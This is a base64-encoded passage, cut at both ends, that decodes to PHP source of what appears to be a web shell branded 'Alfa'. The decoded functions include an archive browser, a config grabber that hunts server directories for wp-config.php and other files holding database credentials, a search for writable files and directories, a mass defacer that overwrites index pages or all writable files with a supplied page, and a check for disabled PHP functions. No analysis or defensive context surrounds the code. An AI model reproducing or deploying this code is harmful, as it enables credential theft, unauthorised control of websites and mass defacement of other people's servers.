JZWNobyAiZmFpbGVkLi4uISI7DQoJCQl9DQoJCX1lbHNlew0KCQkJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyc+Q2Fubm90IG9wZW4gdGhlIHRhcmdldC4uLiE8L2Rpdj4iKTsNCgkJfQ0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCWFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFhcmNoaXZlX21hbmFnZXIoKXsNCglhbGZhaGVhZCgpOw0KCSRmaWxlID0gJF9QT1NUWydhbGZhMiddOw0KCWlmKCFmaWxlX2V4aXN0cygkZmlsZSkpew0KCQkkZmlsZSA9ICRHTE9CQUxTWydjd2QnXTsNCgl9DQoJJHJhbmRfaWQgPSByYW5kKDk5OTksIDk5OTk5OSk7DQoJZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBcmNoaXZlIE1hbmFnZXIgfDwvZGl2PjwvcD4nOw0KCWVjaG8gJzxmb3JtIG5hbWU9InNyY2giIG9uU3VibWl0PSJnKFwnYXJjaGl2ZV9tYW5hZ2VyXCcsbnVsbCxudWxsLHRoaXMuZmlsZS52YWx1ZSxudWxsLG51bGwsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+DQoJPGRpdiBjbGFzcz0idHh0Zm9udCI+DQoJQXJjaGl2ZSBmaWxlOiA8aW5wdXQgc2l6ZT0iNTAiIGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHZhbHVlPSInLiRmaWxlLiciPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsNCglpZigkX1BPU1RbJ2FsZmE1J109PSc+Picpew0KCQkvL2VjaG8gX19wcmUoKTsNCgkJZWNobyAnPGhyPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxMnB4OyIgYXJjaGl2ZV9mdWxsPSJwaGFyOi8vJy4kZmlsZS4nIiBhcmNoaXZlX25hbWU9IicuYmFzZW5hbWUoJGZpbGUpLiciIGlkPSJhcmNoaXZlX2Rpcl8nLiRyYW5kX2lkLiciIGNsYXNzPSJhcmNoaXZlX2Rpcl9ob2xkZXIiPjxzcGFuPlBXRDogPC9zcGFuPjxkaXYgY2xhc3M9ImFyY2hpdmVfcHdkX2hvbGRlciIgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrIj48YT4vPC9hPjwvZGl2PjwvZGl2Pic7DQoJCWVjaG8gJzxkaXYgc3R5bGU9InBhZGRpbmc6IDEwcHg7IiBpZD0iYXJjaGl2ZV9iYXNlXycuJHJhbmRfaWQuJyI+JzsNCgkJX19hbGZhX29wZW5fYXJjaGl2ZV9maWxlKCRmaWxlLCAkcmFuZF9pZCk7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gX19hbGZhX29wZW5fYXJjaGl2ZV9maWxlKCRhcmNoLCAkYmFzZV9pZD0wKXsNCgl0cnl7DQoJCSRmaWxlcyA9IGFycmF5KCk7DQoJCSRkaXJzID0gYXJyYXkoKTsNCgkJJGFyY2hpdmUgPSBuZXcgUGhhckRhdGEoJGFyY2gpOw0KCQkgZm9yZWFjaCgkYXJjaGl2ZSBhcyAkZmlsZSkgew0KCQkJICRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGUtPmdldFBhdGhuYW1lKCkpKTsNCgkJICAgICBpZigkZmlsZS0+aXNEaXIoKSkgew0KCQkJCSAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsNCgkJICAgICB9ZWxzZXsNCgkJCQkgJGZpbGVfc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZS0+Z2V0UGF0aG5hbWUoKSk7DQoJCQkJICRmaWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZmlsZSIsICAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJzaXplIiA9PiAkZmlsZV9zaXplKTsNCgkJCSB9DQoJCSB9DQoJCSBmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7DQoJCQkgcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyduYW1lJ10pLCBzdHJ0b2xvd2VyKCRiWyduYW1lJ10pKSoxOw0KCQkgfQ0KCQkgdXNvcnQoJGRpcnMsICJfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0Iik7DQoJCSB1c29ydCgkZmlsZXMsICJfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0Iik7DQoJCSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCgkJIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9Im1haW4iIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRib2R5Pjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPic7DQoJCSAkaWNvbiA9ICc8aW1nIGNsYXNzPSJhcmNoaXZlLWljb25zIiBzcmM9IicuZmluZGljb24oJy4uJywnZGlyJykuJyIgd2lkdGg9IjMwIiBoZWlnaHQ9IjMwIj4nOw0KCQkgZWNobyAnPHRyPjx0aD48YSBiYXNlX2lkPSInLiRiYXNlX2lkLiciIGNsYXNzPSJhcmNoaXZlLWZpbGUtcm93IiBmbmFtZT0iLi4iIG9uY2xpY2s9ImFsZmFPcGVuQXJjaGl2ZSh0aGlzKTsiIHBhdGg9IicuZGlybmFtZSgkYXJjaC4nLnBocCcpLiciPicuJGljb24uJzxzcGFuIGNsYXNzPSJhcmNoaXZlLW5hbWUgYXJjaGl2ZS10eXBlLWRpciI+fCAuLiB8PC9zcGFuPjwvYT48dGQ+ZGlyPC90ZD48dGQ+LTwvdGQ+PHRkPi08L3RkPjwvdHI+JzsNCgkJIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsNCgkJCSAkaWNvbiA9ICc8aW1nIGNsYXNzPSJhcmNoaXZlLWljb25zIiBzcmM9IicuZmluZGljb24oJGZpbGVbJ25hbWUnXSwkZmlsZVsndHlwZSddKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7DQoJCQkgaWYoJGZpbGVbInR5cGUiXSA9PSAiZGlyIil7DQoJCQkgCWVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgb25jbGljaz0iYWxmYU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy4kZmlsZVsicGF0aCJdLiciIGZuYW1lPSInLiRmaWxlWyJuYW1lIl0uJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGlyIj58ICcuJGZpbGVbIm5hbWUiXS4nIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4nLiRmaWxlWyJtb2RpZnkiXS4nPC90ZD48dGQ+LTwvdGQ+PC90cj4nOw0KCQkgCX1lbHNlew0KCQkJCWVjaG8gIjx0cj48dGg+PGEgYmFzZV9pZD0nIi4kYmFzZV9pZC4iJyBjbGFzcz0nYXJjaGl2ZS1maWxlLXJvdycgb25jbGljaz1cImVkaXRvcignIi4kZmlsZVsicGF0aCJdLiInLCdhdXRvJywnJywnJywnJywnZmlsZScpO1wiPiIuJGljb24uIjxzcGFuIGNsYXNzPSdhcmNoaXZlLW5hbWUgYXJjaGl2ZS10eXBlLWZpbGUnIGZuYW1lPSciLiRmaWxlWyJuYW1lIl0uIic+Ii4kZmlsZVsibmFtZSJdLiI8L3NwYW4+PC9hPjx0ZD4iLmFsZmFTaXplKCRmaWxlWyJzaXplIl0pLiI8L3RkPjx0ZD4iLiRmaWxlWyJtb2RpZnkiXS4iPC90ZD48dGQ+LTwvdGQ+PC90cj4iOw0KDQoJCQl9DQoJCSB9DQoJCSAgZWNobyAnPC90YWJsZT4nOw0KCX1jYXRjaChFeGNlcHRpb24gJGUpew0KCQllY2hvKCIwIik7DQoJfQ0KfQ0KZnVuY3Rpb24gYWxmYW9wZW5fYXJjaGl2ZV9kaXIoKXsNCgkkZGlyID0gJF9QT1NUWyJhbGZhMSJdOw0KCSRiYXNlX2lkID0gJF9QT1NUWyJhbGZhMiJdOw0KCV9fYWxmYV9vcGVuX2FyY2hpdmVfZmlsZSgkZGlyLCAkYmFzZV9pZCk7DQp9DQpmdW5jdGlvbiBhbGZhY29uZmlnX2dyYWJiZXIoKXsNCglhbGZhaGVhZCgpOw0KCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29uZmlnIEdyYWJiZXIgfDwvZGl2PjwvcD4nOw0KCWVjaG8gJzxmb3JtIG5hbWU9InNyY2giIG9uU3VibWl0PSJnKFwnY29uZmlnX2dyYWJiZXJcJyxudWxsLG51bGwsdGhpcy5kaXIudmFsdWUsdGhpcy5leHQudmFsdWUsbnVsbCxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4NCgk8ZGl2IGNsYXNzPSJ0eHRmb250Ij4NCglEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+DQoJRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsNCgkkZGlyID0gJF9QT1NUWydhbGZhMiddOw0KCSRleHQgPSAkX1BPU1RbJ2FsZmEzJ107DQoJaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsNCgkJZWNobyBfX3ByZSgpOw0KCQlBbGZhX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gQWxmYV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpIHsNCgkkcGF0dGVybiA9ICIjZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfXxkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfXxjb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIilwYXNzd29yZCg/Oid8XCIpXF18KD86J3xcIilkYXRhYmFzZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKXwoPzonfFwiKShteXNxbHxkYXRhYmFzZSkoPzonfFwiKVsgXXswLH09PlsgXXswLH1hcnJheXxkYl9uYW1lfGRiX3VzZXJ8ZGJfcGFzc3xkYl9zZXJ2ZXJ8ZGJfaG9zdHxkYmhvc3R8ZGJuYW1lfGRidXNlcnxkYnBhc3N8ZGF0YWJhc2VfbmFtZXxkYXRhYmFzZV91c2VyfGRhdGFiYXNlX3Bhc3N8bXlzcWxfdXNlcnxteXNxbF9wYXNzfG15c3FsaV9jb25uZWN0fG15c3FsX2Nvbm5lY3R8bmV3WyBdezAsfW15c3FsaSNpIjsNCgkkZGJfZmlsZXMgPSBhcnJheSgid3AtY29uZmlnLnBocCIsImNvbmZpZ3VyZS5waHAiLCJjb25maWcuaW5jLnBocCIsImNvbmZpZ3VyYXRpb24ucGhwIiwiY29uZmlnLnBocCIsImNvbmYucGhwIiwiZGJjbGFzcy5waHAiLCJjbGFzc19jb3JlLnBocCIsImRpc3QtY29uZmlndXJlLnBocCIsICJzZXR0aW5ncy5waHAiLCAiY29uZl9nbG9iYWwucGhwIiwgImRiLnBocCIsICJjb25uZWN0LnBocCIsICJjb25maW5nLmRiLnBocCIsICJjb25maWcuZGIucGhwIiwgImRhdGFiYXNlLnBocCIpOw0KCWlmKEBpc19yZWFkYWJsZSgkZGlyKSl7DQoJCSRnbG9iRmlsZXMgPSBAZ2xvYigiJGRpci8qLiRleHQiKTsNCgkJJGdsb2JEaXJzICA9IEBnbG9iKCIkZGlyLyoiLCBHTE9CX09OTFlESVIpOw0KCQkkYmxhY2tsaXN0ID0gYXJyYXkoKTsNCgkJZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsNCgkJCWlmKCFAaXNfcmVhZGFibGUoJGRpcil8fEBpc19saW5rKCRkaXIpKSBjb250aW51ZTsNCgkJCUBBbGZhX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7DQoJCX0NCgkJZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7DQoJCQkkZmlsZWUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KCQkJaWYocHJlZ19tYXRjaCgkcGF0dGVybiwgJGZpbGVlKSl7DQoJCQkJZWNobyAiPGRpdj48c3Bhbj4kZmlsZTwvc3Bhbj4gPGEgc3R5bGU9J2N1cnNvcjpwb2ludGVyOycgb25jbGljaz1cImVkaXRvcignIi4kZmlsZS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj5bIFZpZXcgZmlsZSBdPC9hPjwvZGl2PiI7DQoJCQl9DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBhbGZhc2VhcmNoZXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddPT0nZmlsZScpew0KZWNobyAnPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBGaW5kIFJlYWRhYmxlIE9yIFdyaXRhYmxlIEZpbGVzICB8PC9kaXY+PGJyPjxicj48Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ2ZpbGVcJyx0aGlzLmZpbGVuYW1lLnZhbHVlLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+DQpNZXRob2Q6IDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxOCU7IiBvbmNsaWNrPSJhbGZhX3NlYXJjaGVyX3Rvb2wodGhpcy52YWx1ZSk7IiBuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9ImZpbGVzIj5GaW5kIEFsbCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcnMiPkZpbmQgQWxsIFdyaXRhYmxlIERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkZpbmQgQWxsIFJlYWRhYmxlIEFuZCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjwvc2VsZWN0Pg0KRGlyOiA8aW5wdXQgc2l6ZT0iNTAiIGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9ImZpbGVuYW1lIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+DQpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQokZGlyID0gJF9QT1NUWydhbGZhMiddOw0KJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107DQppZigkX1BPU1RbJ2FsZmE1J109PSc+Picpew0KZWNobyBfX3ByZSgpOw0KaWYoc3Vic3RyKCRkaXIsLTEpPT0nLycpJGRpcj1zdWJzdHIoJGRpciwwLC0xKTsNCkFsZmFfU2VhcmNoZXIoJGRpcix0cmltKCRleHQpLCRtZXRob2QpOw0KfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMSddPT0nc3RyJyl7DQplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij4NCk1ldGhvZDogPHNlbGVjdCBuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9Im5hbWUiPkZpbmQgRmlsZXMgQnkgTmFtZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN0ciI+RmluZCBTdHJpbmcgSW4gRmlsZXM8L29wdGlvbj48L3NlbGVjdD4NClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+DQpEaXI6IDxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+DQpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQokZGlyID0gJF9QT1NUWydhbGZhMiddOw0KJHN0cmluZyA9ICRfUE9TVFsnYWxmYTMnXTsNCiRleHQgPSAkX1BPU1RbJ2FsZmE1J107DQppZighZW1wdHkoJHN0cmluZykgQU5EICFlbXB0eSgkZGlyKSBBTkQgJF9QT1NUWydhbGZhNCddID09ICc+Picpew0KZWNobyBfX3ByZSgpOw0KQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2FsZmE2J10pOw0KfQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFNYXNzRGVmYWNlcigpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oNSw2LDcsOCw5LDEwKTsNCmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7DQplY2hvICc8ZGl2IGNsYXNzPSJ0eHRmb250Ij5EZWZhY2UgTWV0aG9kOiA8c2VsZWN0IG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iaW5kZXgiPkRlZmFjZSBJbmRleCBEaXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgRmlsZXM8L29wdGlvbj48L3NlbGVjdD4NCglNYXNzIGRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXNzZGlyIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4NCjwvZm9ybT4nOw0KJGRpciA9ICRfUE9TVFsnYWxmYTEnXTsNCiRkZWZwYWdlID0gJF9QT1NUWydhbGZhMiddOw0KJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRmQ3VycmVudCA9ICRHTE9CQUxTWydfX2ZpbGVfcGF0aCddOw0KaWYoJF9QT1NUWydhbGZhNCddID09ICc+Picpew0KaWYoIWVtcHR5KCRkaXIpKXsNCmlmKEBpc19kaXIoJGRpcikpew0KaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsNCmlmKEBpc19maWxlKCRkZWZwYWdlKSl7DQppZigkZGggPSBAb3BlbmRpcigkZGlyKSl7DQplY2hvIF9fcHJlKCk7DQp3aGlsZSAoKCRmaWxlID0gQHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKXsNCmlmKCRmaWxlID09ICcuLicgfHwgJGZpbGUgPT0gJy4nKWNvbnRpbnVlOw0KJG5ld2ZpbGU9JGRpci4kZmlsZTsNCmlmKCRmQ3VycmVudCA9PSAkbmV3ZmlsZSljb250aW51ZTsNCmlmKEBpc19kaXIoJG5ld2ZpbGUpKXsNCkFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsNCn1lbHNlew0KaWYoIUBpc193cml0YWJsZSgkbmV3ZmlsZSkpY29udGludWU7DQppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsNCkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7DQp9DQp9DQpjbG9zZWRpcigkZGgpOw0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gT3BlbkRpci4uLjwvZm9udD4nKTt9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQ0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RGlyZWN0b3J5IGlzIG5vdCBSZWFkYWJsZS4uLjwvZm9udD4nKTt9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5NYXNzIERpciBpcyBJbnZhbGlkIERpci4uLjwvZm9udD4nKTt9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIEFsZmFfUmVhZERpcigkZGlyLCRtZXRob2Q9JycsJGRlZnBhZ2U9Jycpew0KaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOw0KaWYgKEBpc19kaXIoJGRpcikpIHsNCmlmICgkZGggPSBAb3BlbmRpcigkZGlyKSkgew0Kd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgew0KaWYoJGZpbGUgPT0gJy4uJyB8fCAkZmlsZSA9PSAnLicpY29udGludWU7DQokbmV3ZmlsZT0kZGlyLicvJy4kZmlsZTsNCmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsNCmlmKEBpc19maWxlKCRuZXdmaWxlKSl7DQppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsNCkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7DQp9DQp9DQpjbG9zZWRpcigkZGgpOw0KfQ0KfQ0KfQ0KZnVuY3Rpb24gQWxmYV9SZXdyaXRlcigkZGlyLCRmaWxlLCRkZWZwYWdlLCRtPSdpbmRleCcpew0KaWYoIUBpc193cml0YWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOw0KaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOw0KJGRlZnBhZ2U9QGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZwYWdlKTsNCmlmKCRtID09ICdpbmRleCcpew0KJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXguanMnKTsNCmlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCRpbmRleHMpKXsNCkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsNCmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsNCn0NCn1lbHNlaWYoJG09PSdhbGwnKXsNCkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsNCmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iICA8Yj48Zm9udCBjb2xvcj0ncmVkJz5EZUZhY2VkLi4uPC9iPjwvZm9udD48YnI+IiA6ICcnOw0KfQ0KfQ0KZnVuY3Rpb24gYWxmYUdldERpc0Z1bmMoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7DQokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOw0KJGYgPSBhcnJheV91bmlxdWUoJHMpOw0KZWNobyAnPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9IiM3Q0ZDMDAiPkRpc2FibGUgRnVuY3Rpb25zPC9mb250PjwvYj48cHJlPjx0YWJsZSBib3JkZXI9IjEiPjx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTt3aWR0aDo1JSI+IzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBncmVlbjtjb2xvcjogd2hpdGU7Ij5GdW5jIE5hbWU8L3RkPjwvdHI+JzsNCiRpPT